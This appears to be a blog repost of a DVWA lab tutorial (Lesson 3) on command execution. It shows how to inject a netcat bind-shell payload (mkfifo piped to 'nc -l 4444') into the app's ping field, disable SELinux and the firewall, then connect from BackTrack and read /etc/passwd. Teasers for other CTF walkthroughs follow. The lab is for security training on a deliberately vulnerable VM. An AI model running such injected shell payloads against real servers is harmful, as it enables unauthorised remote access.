Chuyển đến nội dung chính

Hướng Dẫn Thực Hành - Command Execution using Netcat (DVWA): Lesson 3


Section 0. Background Information
  • What is Damn Vulnerable Web App (DVWA)?
    • Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
    • Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
  • Pre-Requisite Lab
    • Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14
    • Damn Vulnerable Web App (DVWA): Lesson 2: Command Execution Basic Testing
  • Lab Notes
    • In this lab we will do the following:
      1. We will test Command Execution where Security is set to low
      2. We will append the Netcat command to an IP Address.
      3. Then we will start up Backtrack and connect to the Netcat session created inside of DVWA.
  • Legal Disclaimer
       - Chỉ dùng cho mục đích học tập.
Section 1. Configure Fedora14 Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight fedora14
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Click on the OK Button.

Section 2. Login to Fedora14
  1. Start Fedora14 VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select Fedora14
      3. Play virtual machine
  2. Login to Fedora14
    • Instructions:
      1. Login: student
      2. Password: <whatever you set it to>.

Section 3. Open Console Terminal and Retrieve IP Address
  1. Start a Terminal Console
    • Instructions:
      1. Applications --> Terminal
  2. Switch user to root
    • Instructions:
      1. su - root
      2. <Whatever you set the root password to>
  3. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.106.
      • Please record your IP address.

Section 4. Temporarily Disable SELINUX and Firewall
  1. Start a Terminal Console
    • Instructions:
      1. sestatus
      2. If SELinux status: is set to disabled OR if Current mode: is set to permissive, then skip the next steps, and Continue to the Next Section.
      3. If SELinux status: is set to enabled AND if Current mode: is set to enforcing, then Continue the next steps.
    • Notes:
      • In my case, I need to temporarily put selinux in permissive mode to demonstrate basic attacks on DVWA.
  2. Place selinux in permissive mode
    • Instructions:
      1. echo 0 > /selinux/enforce
        • Placing a "0" in the enforce file, puts selinux in permissive mode.
      2. sestatus
        • Notice that "Current mode:" changed to permissive.
  3. Disable Firewall
    • Instructions:
      1. service iptables save
        • This is not really necessary, unless you have made recent changes to the firewall.
      2. service iptables stop
        • This command disables the firewall.

Section 5. Start Up Damn Vulnerable Web App (DVWA)
  1. Start up a Web Browser  
    • Instructions:
      1. Applications --> Internet --> Firefox
    • Notes:
      • You can open up a Web browser on any Operating System on your network.
      • Working with DVWA does not have to be done on your Fedora machine, the only requirement to play with DVWA is a follow
        1. The Fedora Server is on the Network.
        2. httpd is running
        3. mysqld is running
  2. DVWA Database setup  
    • Instructions:
      1. http://192.168.1.106/dvwa/login.php
        • Replace 192.168.1.106 with the IP Address obtained from Section 3, Step 3.
      2. Username: admin
      3. Password: password
        • "password" is the default password for user admin.
  3. Set Website Security Level (Part 1) 
    • Instructions:
      1. Click on DVWA Security
  4. Set Website Security Level (Part 2) 
    • Instructions:
      1. Select Low
      2. Click Submit

Section 6. Command Execution
  1. Command Execution  
    • Instructions:
      1. Click on Command Execution
  2. Execute Netcat  
    • Notes:
      • Below we are going to append NetCat to the basic ping test.  :)
    • Instructions:
      1. 192.168.1.106;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
        • Make a FIFO named pipe.
        • Pipes allow separate processes to communicate without having been designed explicitly to work together.
        • This will allow two processes to connect to netcat.
        • nc -l 4444, tells netcat to listen and allow connections on port 4444.
      2. Click Submit

Section 7. Configure BackTrack Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight BackTrack5R1
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Do not Click on the OK Button.

Section 8. Login to BackTrack
  1. Start BackTrack VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select BackTrack5R1
      3. Play virtual machine
  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  3. Bring up the GNOME
    • Instructions:
      1. Type startx

Section 9. Open Console Terminal and Retrieve IP Address
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.105.
      • Please record your IP address.


Section 9. Use NetCat on BackTrack to Connect to DVWA's Netcat session
  1. Connect to Netcat
    • Notes:
      1. 192.168.1.106 is the IP Address of the Fedora Server running DVWA.
      2. To obtain this IP Address, see Section 3, Step 3.
    • Instructions:
      1. nc 192.168.1.106 4444
        • Use BackTrack to Connect to DVWA Netcat session on port 4444
      2. hostname
        • This is server hostname that hosts DVWA.
      3. uname -a
        • List System Kernel and Architecture Information
      4. who
        • Display who is logged into the Fedora Server.
      5. head -10 passwd
        • Show 10 lines of the /etc/passwd file

Section 10. Proof of Lab
  1. Proof of Lab
    • Instructions:
      1. date
      2. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
      3. netstat -naop | grep 4444
      4. Press the <Ctrl> and "c" keys
    • Proof of Lab Instructions:
      1. Do a <PrtScn>
      2. Paste into a word document
      3. Email to AnToanThongTin.Edu.Vn@Gmail.Com
Nhãn:

Bài đăng phổ biến từ blog này

Hack the Gibson VM (CTF Challenge)

It’s a boot2root challenge and it does not get over with getting root access. You have to find flag also. So let’s start. First of all download lab from https://download.vulnhub.com/gibson/gibson.ova Now open kali terminal and like always start with first step i.e. netdiscover netdiscover it shows all the hosts those are up in our network and from here we get our target ip. Target IP: 192.168.1.6 As our target is all set we are going to scan it with nmap which will show all the open ports. In this case open ports are only two i.e. 22 and 80. nmap –p- -A 192.168.1.6 As from the above result we have got 80 port open so we will open target ip in browser. It shows an accessible directory. Let’s try opening it as we cannot see anything important here. Oh no such luck with this also. It’s written the result will be found by brute force but there is no place where we can apply brute force. As we do not have any other option so let’s just go to view page source to see if we could get a...
Đọc thêm

Penetration Testing in PwnLab (CTF Challenge)

In this article we will walkthrough a root2boot penetration testing challenge i.e PwnLab. PwbLab is a vulnerbale framework, based on the concept of CTF (capture the flag), with a bit of security which is a little complicated to bypass. But it’s not impossible. So, let us learn how we can get its access. Download From Here Now to start let us, firstly, consider that we do not know the IP of the PwnLab, therefore search for the IP address before hand and for that there is a command that shows us all the IP’s present in our network, so go to the terminal of you Kali and type : netdiscover Target IP = 192.168.0.105 And to know that we start our penetration testing. So, first, we will now scan with nmap , we will apply an aggressive scan as it gives detailed information and is fast. The command is : nmap -A 192.168.0.105 We have the result of scanning and as you can see there are only three ports open and they are: 80, 111, 3306. Our target IP is 192.168.0.105 as its MAC Vendor is...
Đọc thêm

Hack the Pentester Lab: from SQL injection to Shell II (Blind SQL Injection)

Today we are going to perform penetration testing with part II of previous lab, download it from  here . Now install the iso image in VM ware and start it. In this lab task level is intermediate and challenge is to gain access of administration console and then upload a PHP webshell. Start Kali Linux then open the terminal and  type netdiscover  command for scanning network. Here  192.168.1.102  is my target IP which is shown in the screenshot. Now explore this IP in browser. When you will open target IP in browser you will get a web page having heading My Awesome Photoblog . On the top of left side it contains some tags: home; test; ruxcon; 2010; all pictures; admin. Now  Click  on  test . The given URL : http://192.168.1.102/cat.php?id=1  will run sql query for  ID 1  now let try to find out whether the above URL is vulnerable to sql injection or not by adding( ‘) apostrophe at last of URL: http://192.168.1.102/cat.p...
Đọc thêm